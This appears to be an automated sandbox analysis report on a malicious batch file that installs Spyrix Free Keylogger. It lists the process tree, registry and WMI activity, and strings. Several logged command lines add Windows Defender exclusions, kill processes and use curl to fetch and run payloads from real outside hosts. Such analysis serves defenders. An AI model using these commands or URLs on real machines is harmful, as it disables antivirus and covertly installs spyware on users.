'HUXwGsL2qA2Klp4GxVUBZj53IhCCt8FRahOgIF5wxEYiSEtN7bkJKWuhYdnhpIJq4ktEaX6sYgMULWkDwyERY4HDwqInaXGo4qnrUpvjd0tmKZWB2ku0E0SAcqRtPSSAZhZds1rHDewgKe2WTGuymPkDYmPnYBULitMlA1SA1nwjEuy7w3ZIhcXK5WFFmErCKl6aRQWbxu58cB8mxRzdkLmFVComwNWx4uYcxYpgh7TwfXq4XbRVOOa770EPksojXIErlfyYkT4l1zj6UtPU5BjpTad5Ua4yTsYXT8S0m1u3SyGHRG30dTnWiXXLC1DKYGSIbLnVaXrDQoWeUWnNfEU8FCy5lHytxjfMf7pGciZFljG2A20pOznTuSCYWqtSi6OpJK7Vqhu6nOXe445rQJf74LaN4QsuyHgnVZsz3e8pEqpg4hcauBCZbQu7suaZxAHgrtJfMFxvKy3Ne3SXwS8xEGLFouGJDi0EiJyLX6OoNQPlVgcybDmfATbkhEza8nrk7znVFH8yETkx0isISQqA4VDPrNmTHwpihnnf1HtUEwaqsms7VrHs6rolwYm0dorQnBPM3MPLfW4I3VfEeo7Yp5lz8Bsdd20YFKCqWfDIb5Mjvgra1iWypSkqZYN2dvqmffCsSyq7kz6ttBEbTRk4gBsvjUR7RKnoOiEPd8HD0XNzUz6XUviLLvGdwPJ6gspaLReK5y6UJhEIx1asX2nfkcdbckbNzKgHrwoDVwbexOBmr6p4xZjmFJyswCqUXsd8A5aBNXXjbIqVaztf4fZZj2Bh65PSGGHFtClugnraBAL5ccR6RKZ0TEZH42DQIEdUBlkXN88Qx8XjqEFdnSA4qPupmezmkaR5gz4z03sSLIDUpyZzwimzEhnvz4usJVpWqaD0JOltjrsiLaAwE8zBwb17MJA5I8IzcqmOviqi62QVxFjZ37oKfniPiFnAOokjj2FewuBeSRE3KfJHijBJU7TxHXoq4pTRRpv48ElI6J0OioEC4gannaPkiQXYGTil6wlesOHd71MKGFPbTmuYOonzaLVrqMCmjOQvDjSqY6puOEdcB5FchKWRJuDh1Zvuzij0ycXtTEAR82lVq1puGiEZ17mSfux8K34oemnihVJdKFSQIq0AsBnQdK8zzFNhQAHE760EOHNuZkOvpWJy'

Source: classification engine

Classification label: mal100.troj.evad.winBAT@160/1077@15/9

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 71_2_0037A2A0 GetLastError,_errno,strncpy,FormatMessageA,strrchr,strrchr,_errno,_errno,GetLastError,SetLastError,

71_2_0037A2A0

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 56_2_03376092 GetDiskFreeSpaceA,

56_2_03376092

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 71_2_00363700 memset,GetLastError,CreateToolhelp32Snapshot,GetLastError,Module32First,Module32Next,CloseHandle,

71_2_00363700

Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\[space]= .exe.log

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1316:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7892:120:WilError_03

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\183942631522663

Jump to behavior

Source: Yara match	File source: 77.0.spmm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000004D.00000000.2580594653.0000000000401000.00000020.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-EO3DV.tmp, type: DROPPED

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\D0WmCTD2qO.bat" "

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs"

Source: C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SEM.EXE'
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "cmd.exe" OR Caption = "wlg.exe" OR Caption = "spmm.exe" OR Caption = "spkl.exe" OR Caption = "spm.exe" OR Caption = "sem.exe" OR Caption = "clv.exe" OR Caption = "akl.exe" OR Caption = "sps.exe" OR Caption = "sime64.exe" OR Caption = "ff.exe" OR Caption = "mrec.exe" OR Caption = "clvhost.exe" OR Caption = "ffws.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "cmd.exe" OR Caption = "wlg.exe" OR Caption = "spmm.exe" OR Caption = "spkl.exe" OR Caption = "spm.exe" OR Caption = "sem.exe" OR Caption = "clv.exe" OR Caption = "akl.exe" OR Caption = "sps.exe" OR Caption = "sime64.exe" OR Caption = "ff.exe" OR Caption = "mrec.exe" OR Caption = "clvhost.exe" OR Caption = "ffws.exe")
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SPM.EXE'
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SEM.EXE'

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\reg.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: spmm.exe, 0000004D.00000002.2690607250.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: spmm.exe, 0000004D.00000002.2690607250.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: spmm.exe, 0000004D.00000002.2690607250.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: spmm.exe, 0000004D.00000002.2690607250.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: spmm.exe, 0000004D.00000002.2690607250.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: spmm.exe, 0000004D.00000002.2690607250.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: spmm.exe, 0000004D.00000002.2690607250.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: spmm.exe, 0000004D.00000002.2690607250.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: spmm.exe, 0000004D.00000002.2690607250.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: spkl.exe, 00000038.00000002.2756912357.00000000077BD000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2750231481.0000000006AC6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE if not exists `wlog` (`id` INTEGER PRIMARY KEY AUTOINCREMENT,`sTime`TEXT,`sJSon`TEXT);
Source: spmm.exe, 0000004D.00000002.2690607250.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: spmm.exe, 0000004D.00000002.2690607250.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: spmm.exe, 0000004D.00000002.2690607250.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: D0WmCTD2qO.bat	ReversingLabs: Detection: 26%
Source: D0WmCTD2qO.bat	Virustotal: Detection: 20%

Source: spkl.exe	String found in binary or memory: NATS-SEFI-ADD
Source: spkl.exe	String found in binary or memory: NATS-DANO-ADD
Source: spkl.exe	String found in binary or memory: JIS_C6229-1984-b-add
Source: spkl.exe	String found in binary or memory: jp-ocr-b-add
Source: spkl.exe	String found in binary or memory: JIS_C6229-1984-hand-add
Source: spkl.exe	String found in binary or memory: jp-ocr-hand-add
Source: spkl.exe	String found in binary or memory: ISO_6937-2-add
Source: qrl.exe	String found in binary or memory: Unable to complete request for channel-process-startup
Source: qrl.exe	String found in binary or memory: dns-ipv6-addr
Source: qrl.exe	String found in binary or memory: dns-ipv4-addr
Source: qrl.exe	String found in binary or memory: false-start
Source: qrl.exe	String found in binary or memory: --dns-ipv4-addr <address>
Source: qrl.exe	String found in binary or memory: --dns-ipv6-addr <address>
Source: qrl.exe	String found in binary or memory: --false-start
Source: qrl.exe	String found in binary or memory: -h, --help
Source: qrl.exe	String found in binary or memory: -h, --help
Source: qrl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: qrl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: qrl.exe	String found in binary or memory: id-cmc-addExtensions
Source: qrl.exe	String found in binary or memory: t xml:space=.gif" border="0"</body> </html> overflow:hidden;img src="http://addEventListenerresponsible for s.js"></script> /favicon.ico" />operating system" style="width:1target="_blank">State Universitytext-align:left; document.write(, including the around t
Source: qrl.exe	String found in binary or memory: set-addPolicy
Source: qrl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: qrl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\D0WmCTD2qO.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKU\S-1-5-19\Environment"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl.exe --insecure -o "C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe" https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe "C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query "HKU\S-1-5-19\Environment"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\183942631522663"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe"
Source: C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe	Process created: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp "C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp" /SL5="$30462,32862490,227328,C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe"
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\d.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\d.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex.cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex" /y
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\pswd.cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '[space]= .*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex.cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex" /y
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\regedit.exe "regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1"
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\reg.exe "reg.exe" delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" /f
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe"
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 20
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 6
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c netstat.exe -e > "C:\Users\user\AppData\Local\Temp\nse"
